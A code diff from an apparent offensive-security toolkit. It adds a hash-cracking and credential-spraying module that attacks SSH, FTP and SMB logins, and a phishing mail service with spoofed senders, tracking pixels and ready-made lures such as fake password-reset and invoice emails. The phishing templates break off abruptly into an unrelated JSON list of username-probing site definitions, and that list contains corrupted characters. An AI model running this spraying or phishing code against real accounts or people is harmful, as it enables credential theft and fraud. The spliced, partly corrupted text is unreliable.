HashSignature('Argon2', r'^\$argon2(i|d|id)\$', 0, 'argon2', '', 0), + HashSignature('MySQL 4.1+', r'^\*[a-fA-F0-9]{40}$', 300, 'mysql-sha1', '*6C8989366EAF6BCBBAA855D6DA93DE65C96D33D9', 160), + HashSignature('SHA-512 Crypt', r'^\$6\$[./A-Za-z0-9]+\$[./A-Za-z0-9]{86}$', 1800, 'sha512crypt', '', 0), + HashSignature('SHA-256 Crypt', r'^\$5\$[./A-Za-z0-9]+\$[./A-Za-z0-9]{43}$', 7400, 'sha256crypt', '', 0), + HashSignature('MD5 Crypt', r'^\$1\$[./A-Za-z0-9]+\$[./A-Za-z0-9]{22}$', 500, 'md5crypt', '', 0), + HashSignature('DES Crypt', r'^[./A-Za-z0-9]{13}$', 1500, 'descrypt', '', 0), + HashSignature('APR1 MD5', r'^\$apr1\$', 1600, 'md5apr1', '', 0), + HashSignature('Cisco Type 5', r'^\$1\$[./A-Za-z0-9]{8}\$[./A-Za-z0-9]{22}$', 500, 'md5crypt', '', 0), + HashSignature('Cisco Type 7', r'^[0-9]{2}[0-9A-Fa-f]+$', 0, '', '', 0), + HashSignature('PBKDF2-SHA256', r'^\$pbkdf2-sha256\$', 10900,'pbkdf2-hmac-sha256', '', 0), + HashSignature('Django SHA256', r'^pbkdf2_sha256\$', 10000,'django', '', 0), + HashSignature('CRC32', r'^[a-fA-F0-9]{8}$', 0, '', 'deadbeef', 32), +] + + +# ── Password Toolkit Service ───────────────────────────────────────────────── + +class PasswordToolkit: + """Hash identification, cracking, generation, and credential testing.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'password_toolkit') + self._wordlists_dir = os.path.join(self._data_dir, 'wordlists') + self._results_dir = os.path.join(self._data_dir, 'results') + os.makedirs(self._wordlists_dir, exist_ok=True) + os.makedirs(self._results_dir, exist_ok=True) + self._active_jobs: Dict[str, dict] = {} + + # ── Hash Identification ─────────────────────────────────────────────── + + def identify_hash(self, hash_str: str) -> List[dict]: + """Identify possible hash types for a given hash string.""" + hash_str = hash_str.strip() + matches = [] + for sig in HASH_SIGNATURES: + if re.match(sig.regex, hash_str): + matches.append({ + 'name': sig.name, + 'hashcat_mode': sig.hashcat_mode, + 'john_format': sig.john_format, + 'bits': sig.bits, + 'confidence': self._hash_confidence(hash_str, sig), + }) + # Sort by confidence + matches.sort(key=lambda m: {'high': 0, 'medium': 1, 'low': 2}.get(m['confidence'], 3)) + return matches + + def _hash_confidence(self, hash_str: str, sig: HashSignature) -> str: + """Estimate confidence of hash type match.""" + # bcrypt, scrypt, argon2, crypt formats are definitive + if sig.name in ('bcrypt', 'scrypt', 'Argon2', 'SHA-512 Crypt', + 'SHA-256 Crypt', 'MD5 Crypt', 'APR1 MD5', + 'PBKDF2-SHA256', 'Django SHA256', 'MySQL 4.1+'): + return 'high' + # Length-based can be ambiguous (MD5 vs NTLM vs LM) + if len(hash_str) == 32: + return 'medium' # Could be MD5, NTLM, or LM + if len(hash_str) == 8: + return 'low' # CRC32 vs short hex + return 'medium' + + def identify_batch(self, hashes: List[str]) -> List[dict]: + """Identify types for multiple hashes.""" + results = [] + for h in hashes: + h = h.strip() + if not h: + continue + ids = self.identify_hash(h) + results.append({'hash': h, 'types': ids}) + return results + + # ── Hash Cracking ───────────────────────────────────────────────────── + + def crack_hash(self, hash_str: str, hash_type: str = 'auto', + wordlist: str = '', attack_mode: str = 'dictionary', + rules: str = '', mask: str = '', + tool: str = 'auto') -> dict: + """Start a hash cracking job. + + attack_mode: 'dictionary', 'brute_force', 'mask', 'hybrid' + tool: 'hashcat', 'john', 'auto' (try hashcat first, then john) + """ + hash_str = hash_str.strip() + if not hash_str: + return {'ok': False, 'error': 'No hash provided'} + + # Auto-detect hash type if needed + if hash_type == 'auto': + ids = self.identify_hash(hash_str) + if not ids: + return {'ok': False, 'error': 'Could not identify hash type'} + hash_type = ids[0]['name'] + + # Find cracking tool + hashcat = find_tool('hashcat') + john = find_tool('john') + + if tool == 'auto': + tool = 'hashcat' if hashcat else ('john' if john else None) + elif tool == 'hashcat' and not hashcat: + return {'ok': False, 'error': 'hashcat not found'} + elif tool == 'john' and not john: + return {'ok': False, 'error': 'john not found'} + + if not tool: + # Fallback: Python-based dictionary attack (slow but works) + return self._python_crack(hash_str, hash_type, wordlist) + + # Default wordlist + if not wordlist: + wordlist = self._find_default_wordlist() + + job_id = f'crack_{int(time.time())}_{secrets.token_hex(4)}' + + if tool == 'hashcat': + return self._crack_hashcat(job_id, hash_str, hash_type, + wordlist, attack_mode, rules, mask) + else: + return self._crack_john(job_id, hash_str, hash_type, + wordlist, attack_mode, rules, mask) + + def _crack_hashcat(self, job_id: str, hash_str: str, hash_type: str, + wordlist: str, attack_mode: str, rules: str, + mask: str) -> dict: + """Crack using hashcat.""" + hashcat = find_tool('hashcat') + # Get hashcat mode + mode = 0 + for sig in HASH_SIGNATURES: + if sig.name == hash_type: + mode = sig.hashcat_mode + break + + # Write hash to temp file + hash_file = os.path.join(self._results_dir, f'{job_id}.hash') + out_file = os.path.join(self._results_dir, f'{job_id}.pot') + with open(hash_file, 'w') as f: + f.write(hash_str + '\n') + + cmd = [hashcat, '-m', str(mode), hash_file, '-o', out_file, '--potfile-disable'] + + attack_modes = {'dictionary': '0', 'brute_force': '3', 'mask': '3', 'hybrid': '6'} + cmd.extend(['-a', attack_modes.get(attack_mode, '0')]) + + if attack_mode in ('dictionary', 'hybrid') and wordlist: + cmd.append(wordlist) + if attack_mode in ('brute_force', 'mask') and mask: + cmd.append(mask) + elif attack_mode == 'brute_force' and not mask: + cmd.append('?a?a?a?a?a?a?a?a') # Default 8-char brute force + if rules: + cmd.extend(['-r', rules]) + + result_holder = {'result': None, 'done': False, 'process': None} + self._active_jobs[job_id] = result_holder + + def run_crack(): + try: + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=3600) + result_holder['process'] = None + cracked = '' + if os.path.exists(out_file): + with open(out_file, 'r') as f: + cracked = f.read().strip() + result_holder['result'] = { + 'ok': True, + 'cracked': cracked, + 'output': proc.stdout[-2000:] if proc.stdout else '', + 'returncode': proc.returncode, + } + except subprocess.TimeoutExpired: + result_holder['result'] = {'ok': False, 'error': 'Crack timed out (1 hour)'} + except Exception as e: + result_holder['result'] = {'ok': False, 'error': str(e)} + finally: + result_holder['done'] = True + + threading.Thread(target=run_crack, daemon=True).start() + return {'ok': True, 'job_id': job_id, 'message': f'Cracking started with hashcat (mode {mode})'} + + def _crack_john(self, job_id: str, hash_str: str, hash_type: str, + wordlist: str, attack_mode: str, rules: str, + mask: str) -> dict: + """Crack using John the Ripper.""" + john = find_tool('john') + fmt = '' + for sig in HASH_SIGNATURES: + if sig.name == hash_type: + fmt = sig.john_format + break + + hash_file = os.path.join(self._results_dir, f'{job_id}.hash') + with open(hash_file, 'w') as f: + f.write(hash_str + '\n') + + cmd = [john, hash_file] + if fmt: + cmd.extend(['--format=' + fmt]) + if wordlist and attack_mode == 'dictionary': + cmd.extend(['--wordlist=' + wordlist]) + if rules: + cmd.extend(['--rules=' + rules]) + if attack_mode in ('mask', 'brute_force') and mask: + cmd.extend(['--mask=' + mask]) + + result_holder = {'result': None, 'done': False} + self._active_jobs[job_id] = result_holder + + def run_crack(): + try: + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=3600) + # Get cracked results + show = subprocess.run([john, '--show', hash_file], + capture_output=True, text=True, timeout=10) + result_holder['result'] = { + 'ok': True, + 'cracked': show.stdout.strip() if show.stdout else '', + 'output': proc.stdout[-2000:] if proc.stdout else '', + 'returncode': proc.returncode, + } + except subprocess.TimeoutExpired: + result_holder['result'] = {'ok': False, 'error': 'Crack timed out (1 hour)'} + except Exception as e: + result_holder['result'] = {'ok': False, 'error': str(e)} + finally: + result_holder['done'] = True + + threading.Thread(target=run_crack, daemon=True).start() + return {'ok': True, 'job_id': job_id, 'message': f'Cracking started with john ({fmt or "auto"})'} + + def _python_crack(self, hash_str: str, hash_type: str, + wordlist: str) -> dict: + """Fallback pure-Python dictionary crack for common hash types.""" + algo_map = { + 'MD5': 'md5', 'SHA-1': 'sha1', 'SHA-256': 'sha256', + 'SHA-512': 'sha512', 'SHA-224': 'sha224', 'SHA-384': 'sha384', + } + algo = algo_map.get(hash_type) + if not algo: + return {'ok': False, 'error': f'Python cracker does not support {hash_type}. Install hashcat or john.'} + + if not wordlist: + wordlist = self._find_default_wordlist() + if not wordlist or not os.path.exists(wordlist): + return {'ok': False, 'error': 'No wordlist available'} + + hash_lower = hash_str.lower() + tried = 0 + try: + with open(wordlist, 'r', encoding='utf-8', errors='ignore') as f: + for line in f: + word = line.strip() + if not word: + continue + h = hashlib.new(algo, word.encode('utf-8')).hexdigest() + tried += 1 + if h == hash_lower: + return { + 'ok': True, + 'cracked': f'{hash_str}:{word}', + 'plaintext': word, + 'tried': tried, + 'message': f'Cracked! Password: {word}', + } + if tried >= 10_000_000: + break + except Exception as e: + return {'ok': False, 'error': str(e)} + + return {'ok': True, 'cracked': '', 'tried': tried, + 'message': f'Not cracked. Tried {tried:,} candidates.'} + + def get_crack_status(self, job_id: str) -> dict: + """Check status of a cracking job.""" + holder = self._active_jobs.get(job_id) + if not holder: + return {'ok': False, 'error': 'Job not found'} + if not holder['done']: + return {'ok': True, 'done': False, 'message': 'Cracking in progress...'} + self._active_jobs.pop(job_id, None) + return {'ok': True, 'done': True, **holder['result']} + + # ── Password Generation ─────────────────────────────────────────────── + + def generate_password(self, length: int = 16, count: int = 1, + uppercase: bool = True, lowercase: bool = True, + digits: bool = True, symbols: bool = True, + exclude_chars: str = '', + pattern: str = '') -> List[str]: + """Generate secure random passwords.""" + if pattern: + return [self._generate_from_pattern(pattern) for _ in range(count)] + + charset = '' + if uppercase: + charset += string.ascii_uppercase + if lowercase: + charset += string.ascii_lowercase + if digits: + charset += string.digits + if symbols: + charset += '!@#$%^&*()-_=+[]{}|;:,.<>?' + if exclude_chars: + charset = ''.join(c for c in charset if c not in exclude_chars) + if not charset: + charset = string.ascii_letters + string.digits + + length = max(4, min(length, 128)) + count = max(1, min(count, 100)) + + passwords = [] + for _ in range(count): + pw = ''.join(secrets.choice(charset) for _ in range(length)) + passwords.append(pw) + return passwords + + def _generate_from_pattern(self, pattern: str) -> str: + """Generate password from pattern. + ?u = uppercase, ?l = lowercase, ?d = digit, ?s = symbol, ?a = any + """ + result = [] + i = 0 + while i < len(pattern): + if pattern[i] == '?' and i + 1 < len(pattern): + c = pattern[i + 1] + if c == 'u': + result.append(secrets.choice(string.ascii_uppercase)) + elif c == 'l': + result.append(secrets.choice(string.ascii_lowercase)) + elif c == 'd': + result.append(secrets.choice(string.digits)) + elif c == 's': + result.append(secrets.choice('!@#$%^&*()-_=+')) + elif c == 'a': + result.append(secrets.choice( + string.ascii_letters + string.digits + '!@#$%^&*')) + else: + result.append(pattern[i:i+2]) + i += 2 + else: + result.append(pattern[i]) + i += 1 + return ''.join(result) + + # ── Password Policy Audit ───────────────────────────────────────────── + + def audit_password(self, password: str) -> dict: + """Audit a password against common policies and calculate entropy.""" + import math + checks = { + 'length_8': len(password) >= 8, + 'length_12': len(password) >= 12, + 'length_16': len(password) >= 16, + 'has_uppercase': bool(re.search(r'[A-Z]', password)), + 'has_lowercase': bool(re.search(r'[a-z]', password)), + 'has_digit': bool(re.search(r'[0-9]', password)), + 'has_symbol': bool(re.search(r'[^A-Za-z0-9]', password)), + 'no_common_patterns': not self._has_common_patterns(password), + 'no_sequential': not self._has_sequential(password), + 'no_repeated': not self._has_repeated(password), + } + + # Calculate entropy + charset_size = 0 + if re.search(r'[a-z]', password): + charset_size += 26 + if re.search(r'[A-Z]', password): + charset_size += 26 + if re.search(r'[0-9]', password): + charset_size += 10 + if re.search(r'[^A-Za-z0-9]', password): + charset_size += 32 + entropy = len(password) * math.log2(charset_size) if charset_size > 0 else 0 + + # Strength rating + if entropy >= 80 and all(checks.values()): + strength = 'very_strong' + elif entropy >= 60 and checks['length_12']: + strength = 'strong' + elif entropy >= 40 and checks['length_8']: + strength = 'medium' + elif entropy >= 28: + strength = 'weak' + else: + strength = 'very_weak' + + return { + 'length': len(password), + 'entropy': round(entropy, 1), + 'strength': strength, + 'checks': checks, + 'charset_size': charset_size, + } + + def _has_common_patterns(self, pw: str) -> bool: + common = ['password', '123456', 'qwerty', 'abc123', 'letmein', + 'admin', 'welcome', 'monkey', 'dragon', 'master', + 'login', 'princess', 'football', 'shadow', 'sunshine', + 'trustno1', 'iloveyou', 'batman', 'access', 'hello'] + pl = pw.lower() + return any(c in pl for c in common) + + def _has_sequential(self, pw: str) -> bool: + for i in range(len(pw) - 2): + if (ord(pw[i]) + 1 == ord(pw[i+1]) == ord(pw[i+2]) - 1): + return True + return False + + def _has_repeated(self, pw: str) -> bool: + for i in range(len(pw) - 2): + if pw[i] == pw[i+1] == pw[i+2]: + return True + return False + + # ── Credential Spray / Stuff ────────────────────────────────────────── + + def credential_spray(self, targets: List[dict], passwords: List[str], + protocol: str = 'ssh', threads: int = 4, + delay: float = 1.0) -> dict: + """Spray passwords against target services. + + targets: [{'host': '...', 'port': 22, 'username': 'admin'}, ...] + protocol: 'ssh', 'ftp', 'smb', 'http_basic', 'http_form' + """ + if not targets or not passwords: + return {'ok': False, 'error': 'Targets and passwords required'} + + job_id = f'spray_{int(time.time())}_{secrets.token_hex(4)}' + result_holder = { + 'done': False, + 'results': [], + 'total': len(targets) * len(passwords), + 'tested': 0, + 'found': [], + } + self._active_jobs[job_id] = result_holder + + def do_spray(): + import socket as sock_mod + for target in targets: + host = target.get('host', '') + port = target.get('port', 0) + username = target.get('username', '') + for pw in passwords: + if protocol == 'ssh': + ok = self._test_ssh(host, port or 22, username, pw) + elif protocol == 'ftp': + ok = self._test_ftp(host, port or 21, username, pw) + elif protocol == 'smb': + ok = self._test_smb(host, port or 445, username, pw) + else: + ok = False + + result_holder['tested'] += 1 + if ok: + cred = {'host': host, 'port': port, 'username': username, + 'password': pw, 'protocol': protocol} + result_holder['found'].append(cred) + + time.sleep(delay) + result_holder['done'] = True + + threading.Thread(target=do_spray, daemon=True).start() + return {'ok': True, 'job_id': job_id, + 'message': f'Spray started: {len(targets)} targets × {len(passwords)} passwords'} + + def _test_ssh(self, host: str, port: int, user: str, pw: str) -> bool: + try: + import paramiko + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + client.connect(host, port=port, username=user, password=pw, + timeout=5, look_for_keys=False, allow_agent=False) + client.close() + return True + except Exception: + return False + + def _test_ftp(self, host: str, port: int, user: str, pw: str) -> bool: + try: + import ftplib + ftp = ftplib.FTP() + ftp.connect(host, port, timeout=5) + ftp.login(user, pw) + ftp.quit() + return True + except Exception: + return False + + def _test_smb(self, host: str, port: int, user: str, pw: str) -> bool: + try: + from impacket.smbconnection import SMBConnection + conn = SMBConnection(host, host, sess_port=port) + conn.login(user, pw) + conn.close() + return True + except Exception: + return False + + def get_spray_status(self, job_id: str) -> dict: + holder = self._active_jobs.get(job_id) + if not holder: + return {'ok': False, 'error': 'Job not found'} + return { + 'ok': True, + 'done': holder['done'], + 'tested': holder['tested'], + 'total': holder['total'], + 'found': holder['found'], + } + + # ── Wordlist Management ─────────────────────────────────────────────── + + def list_wordlists(self) -> List[dict]: + """List available wordlists.""" + results = [] + for f in Path(self._wordlists_dir).glob('*'): + if f.is_file(): + size = f.stat().st_size + line_count = 0 + try: + with open(f, 'r', encoding='utf-8', errors='ignore') as fh: + for _ in fh: + line_count += 1 + if line_count > 10_000_000: + break + except Exception: + pass + results.append({ + 'name': f.name, + 'path': str(f), + 'size': size, + 'size_human': self._human_size(size), + 'lines': line_count, + }) + # Also check common system locations + system_lists = [ + '/usr/share/wordlists/rockyou.txt', + '/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt', + '/usr/share/wordlists/fasttrack.txt', + ] + for path in system_lists: + if os.path.exists(path) and not any(r['path'] == path for r in results): + size = os.path.getsize(path) + results.append({ + 'name': os.path.basename(path), + 'path': path, + 'size': size, + 'size_human': self._human_size(size), + 'lines': -1, # Don't count for system lists + 'system': True, + }) + return results + + def _find_default_wordlist(self) -> str: + """Find the best available wordlist.""" + # Check our wordlists dir first + for f in Path(self._wordlists_dir).glob('*'): + if f.is_file() and f.stat().st_size > 100: + return str(f) + # System locations + candidates = [ + '/usr/share/wordlists/rockyou.txt', + '/usr/share/wordlists/fasttrack.txt', + '/usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt', + ] + for c in candidates: + if os.path.exists(c): + return c + return '' + + def upload_wordlist(self, filename: str, data: bytes) -> dict: + """Save an uploaded wordlist.""" + safe_name = re.sub(r'[^a-zA-Z0-9._-]', '_', filename) + path = os.path.join(self._wordlists_dir, safe_name) + with open(path, 'wb') as f: + f.write(data) + return {'ok': True, 'path': path, 'name': safe_name} + + def delete_wordlist(self, name: str) -> dict: + path = os.path.join(self._wordlists_dir, name) + if os.path.exists(path): + os.remove(path) + return {'ok': True} + return {'ok': False, 'error': 'Wordlist not found'} + + # ── Hash Generation (for testing) ───────────────────────────────────── + + def hash_string(self, plaintext: str, algorithm: str = 'md5') -> dict: + """Hash a string with a given algorithm.""" + algo_map = { + 'md5': hashlib.md5, + 'sha1': hashlib.sha1, + 'sha224': hashlib.sha224, + 'sha256': hashlib.sha256, + 'sha384': hashlib.sha384, + 'sha512': hashlib.sha512, + } + fn = algo_map.get(algorithm.lower()) + if not fn: + return {'ok': False, 'error': f'Unsupported algorithm: {algorithm}'} + h = fn(plaintext.encode('utf-8')).hexdigest() + return {'ok': True, 'hash': h, 'algorithm': algorithm, 'plaintext': plaintext} + + # ── Tool Detection ──────────────────────────────────────────────────── + + def get_tools_status(self) -> dict: + """Check which cracking tools are available.""" + return { + 'hashcat': bool(find_tool('hashcat')), + 'john': bool(find_tool('john')), + 'hydra': bool(find_tool('hydra')), + 'ncrack': bool(find_tool('ncrack')), + } + + @staticmethod + def _human_size(size: int) -> str: + for unit in ('B', 'KB', 'MB', 'GB'): + if size < 1024: + return f'{size:.1f} {unit}' + size /= 1024 + return f'{size:.1f} TB' + + +# ── Singleton ───────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_password_toolkit() -> PasswordToolkit: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = PasswordToolkit() + return _instance + + +# ── CLI ─────────────────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for Password Toolkit.""" + svc = get_password_toolkit() + + while True: + print("\n╔═══════════════════════════════════════╗") + print("║ PASSWORD TOOLKIT ║") + print("╠═══════════════════════════════════════╣") + print("║ 1 — Identify Hash ║") + print("║ 2 — Crack Hash ║") + print("║ 3 — Generate Passwords ║") + print("║ 4 — Audit Password Strength ║") + print("║ 5 — Hash a String ║") + print("║ 6 — Wordlist Management ║") + print("║ 7 — Tool Status ║") + print("║ 0 — Back ║") + print("╚═══════════════════════════════════════╝") + + choice = input("\n Select: ").strip() + + if choice == '0': + break + elif choice == '1': + h = input(" Hash: ").strip() + if not h: + continue + results = svc.identify_hash(h) + if results: + print(f"\n Possible types ({len(results)}):") + for r in results: + print(f" [{r['confidence'].upper():6s}] {r['name']}" + f" (hashcat: {r['hashcat_mode']}, john: {r['john_format']})") + else: + print(" No matching hash types found.") + elif choice == '2': + h = input(" Hash: ").strip() + wl = input(" Wordlist (empty=default): ").strip() + result = svc.crack_hash(h, wordlist=wl) + if result.get('job_id'): + print(f" {result['message']}") + print(" Waiting...") + while True: + time.sleep(2) + s = svc.get_crack_status(result['job_id']) + if s.get('done'): + if s.get('cracked'): + print(f"\n CRACKED: {s['cracked']}") + else: + print(f"\n Not cracked. {s.get('message', '')}") + break + elif result.get('cracked'): + print(f"\n CRACKED: {result['cracked']}") + else: + print(f" {result.get('message', result.get('error', ''))}") + elif choice == '3': + length = int(input(" Length (default 16): ").strip() or '16') + count = int(input(" Count (default 5): ").strip() or '5') + passwords = svc.generate_password(length=length, count=count) + print("\n Generated passwords:") + for pw in passwords: + audit = svc.audit_password(pw) + print(f" {pw} [{audit['strength']}] {audit['entropy']} bits") + elif choice == '4': + pw = input(" Password: ").strip() + if not pw: + continue + audit = svc.audit_password(pw) + print(f"\n Strength: {audit['strength']}") + print(f" Entropy: {audit['entropy']} bits") + print(f" Length: {audit['length']}") + print(f" Charset: {audit['charset_size']} characters") + for check, passed in audit['checks'].items(): + mark = '\033[92m✓\033[0m' if passed else '\033[91m✗\033[0m' + print(f" {mark} {check}") + elif choice == '5': + text = input(" Plaintext: ").strip() + algo = input(" Algorithm (md5/sha1/sha256/sha512): ").strip() or 'sha256' + r = svc.hash_string(text, algo) + if r['ok']: + print(f" {r['algorithm']}: {r['hash']}") + else: + print(f" Error: {r['error']}") + elif choice == '6': + wls = svc.list_wordlists() + if wls: + print(f"\n Wordlists ({len(wls)}):") + for w in wls: + sys_tag = ' [system]' if w.get('system') else '' + print(f" {w['name']} — {w['size_human']}{sys_tag}") + else: + print(" No wordlists found.") + elif choice == '7': + tools = svc.get_tools_status() + print("\n Tool Status:") + for tool, available in tools.items(): + mark = '\033[92m✓\033[0m' if available else '\033[91m✗\033[0m' + print(f" {mark} {tool}") diff --git a/modules/phishmail.py b/modules/phishmail.py new file mode 100644 index 0000000..9e9254f --- /dev/null +++ b/modules/phishmail.py @@ -0,0 +1,1489 @@ +"""Gone Fishing Mail Service — Local network phishing simulator. + +Combines features from GoPhish, King Phisher, SET, and Swaks: +sender spoofing, self-signed TLS certs, HTML templates, tracking pixels, +campaign management, attachment support. + +Hard-wired to reject delivery to non-RFC1918 addresses. +""" + +DESCRIPTION = "Gone Fishing Mail Service — local network phishing simulator" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import json +import time +import uuid +import socket +import smtplib +import threading +import subprocess +import ipaddress +from pathlib import Path +from datetime import datetime +from email import encoders +from email.mime.base import MIMEBase +from email.mime.text import MIMEText +from email.mime.multipart import MIMEMultipart +from typing import Dict, List, Optional, Any + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── RFC1918 networks for local-only enforcement ───────────────────────────── +_LOCAL_NETS = [ + ipaddress.ip_network('10.0.0.0/8'), + ipaddress.ip_network('172.16.0.0/12'), + ipaddress.ip_network('192.168.0.0/16'), + ipaddress.ip_network('127.0.0.0/8'), + ipaddress.ip_network('::1/128'), + ipaddress.ip_network('fe80::/10'), +] + + +def _is_local_ip(ip_str: str) -> bool: + """Check if an IP address is in RFC1918/loopback range.""" + try: + addr = ipaddress.ip_address(ip_str) + return any(addr in net for net in _LOCAL_NETS) + except ValueError: + return False + + +def _validate_local_only(address: str) -> tuple: + """Validate that a recipient's mail server resolves to a local IP. + + Returns (ok: bool, message: str). + """ + # Extract domain from email + if '@' not in address: + # Treat as hostname/IP directly + domain = address + else: + domain = address.split('@')[1] + + # Direct IP check + try: + addr = ipaddress.ip_address(domain) + if _is_local_ip(str(addr)): + return True, f"Direct IP {domain} is local" + return False, f"BLOCKED: {domain} is not a local network address" + except ValueError: + pass + + # DNS resolution + try: + results = socket.getaddrinfo(domain, 25, socket.AF_UNSPEC, socket.SOCK_STREAM) + for family, stype, proto, canonname, sockaddr in results: + ip = sockaddr[0] + if _is_local_ip(ip): + return True, f"{domain} resolves to local IP {ip}" + # Try MX records via simple DNS + ips_found = [sockaddr[0] for _, _, _, _, sockaddr in results] + return False, f"BLOCKED: {domain} resolves to external IPs: {', '.join(ips_found)}" + except socket.gaierror: + return False, f"BLOCKED: Cannot resolve {domain}" + + +# ── Template Manager ───────────────────────────────────────────────────────── + +_BUILTIN_TEMPLATES = { + "Password Reset": { + "subject": "Action Required: Password Reset", + "html": """
    +
    +

    Security Alert

    +
    +

    Dear {{name}},

    +

    We detected unusual activity on your account ({{email}}). For your security, please reset your password immediately.

    +

    Reset Password Now

    +

    If you did not request this, please ignore this email. This link expires in 24 hours.

    +

    — IT Security Team

    +
    {{tracking_pixel}}
    """, + "text": "Dear {{name}},\n\nWe detected unusual activity on your account ({{email}}). Please reset your password: {{link}}\n\n— IT Security Team", + }, + "Invoice Attached": { + "subject": "Invoice #{{invoice_num}} — Payment Due", + "html": """
    +
    +

    Invoice Notification

    +
    +

    Hi {{name}},

    +

    Please find attached invoice #{{invoice_num}} for the amount of {{amount}}.

    +

    Payment is due by {{date}}. Please review the attached document and process the payment at your earliest convenience.

    +

    If you have any questions, reply to this email.

    +

    Best regards,
    Accounts Department
    {{company}}

    +
    {{tracking_pixel}}
    """, + "text": "Hi {{name}},\n\nPlease find attached invoice #{{invoice_num}} for {{amount}}.\nPayment due: {{date}}\n\nBest regards,\nAccounts Department\n{{company}}", + }, + "Shared Document": { + "subject": "{{sender_name}} shared a document with you", + "html": """
    +
    +
    📄
    +

    {{sender_name}} shared a file with you

    +
    +
    +

    {{sender_name}} ({{sender_email}}) has shared the following document:

    +

    {{document_name}}

    +

    Open Document

    +

    This sharing link will expire on {{date}}

    +
    {{tracking_pixel}}
    """, + "text": "{{sender_name}} shared a document with you.\n\nDocument: {{document_name}}\nOpen: {{link}}\n\nExpires: {{date}}", + }, + "Security Alert": { + "subject": "Urgent: Suspicious Login Detected", + "html": """
    +
    +

    ⚠ Security Alert

    +
    +

    Dear {{name}},

    +

    We detected a login to your account from an unrecognized device:

    +
    403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mradchenko-ezo.ucoz.ru/index/8-0-{}", + "urlMain": "https://mradchenko-ezo.ucoz.ru", + "usernameON": "Telejaw", + "bad_site": "" + }, + "Forum_msa-iptv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Користувача не знайдено", + "errorTyp��": "message", + "url": "http://msa-iptv.net/index/8-0-{}", + "urlMain": "http://msa-iptv.net", + "usernameON": "grigorili", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_msextra": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "search at this time", + "errorTyp��": "message", + "url": "https://www.msextra.com/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.msextra.com", + "usernameON": "Laminar", + "bad_site": "" + }, + "Forum_msfn": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://msfn.org/board/search/?q={}&quick=1&type=core_members", + "urlMain": "https://msfn.org", + "usernameON": "lmacri", + "bad_site": "" + }, + "Forum_msiu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://msiwind.ucoz.net/index/8-0-{}", + "urlMain": "https://msiwind.ucoz.net", + "usernameON": "TimurR", + "bad_site": "" + }, + "Forum_mskwa": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://mskwa.foroesp.com/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://mskwa.foroesp.com", + "usernameON": "tony", + "bad_site": "" + }, + "Forum_mssuao": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mssuao.my1.ru/index/8-0-{}", + "urlMain": "https://mssuao.my1.ru/", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_mt5": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Forex Forum | Forex Trading Forums | MT5 Forum", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://forum.mt5.com/member.php?username={}", + "urlMain": "https://forum.mt5.com", + "usernameON": "adam", + "bad_site": 1 + }, + "Forum_mta-info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mta-info.ru/index/8-0-{}", + "urlMain": "https://mta-info.ru", + "usernameON": "Online", + "bad_site": "" + }, + "Forum_mtbr": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mtbr.com/members/?username={}", + "urlMain": "https://www.mtbr.com", + "usernameON": "aargar", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_mucs": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mucs.ucoz.ru/index/8-0-{}", + "urlMain": "https://mucs.ucoz.ru", + "usernameON": "Shinjitzu", + "bad_site": "" + }, + "Forum_muffingroup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.muffingroup.com/betheme/profile/{}", + "urlMain": "https://forum.muffingroup.com", + "usernameON": "charlie27", + "bad_site": "" + }, + "Forum_muppet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://muppet.fandom.com/wiki/User:{}", + "urlMain": "https://muppet.fandom.com", + 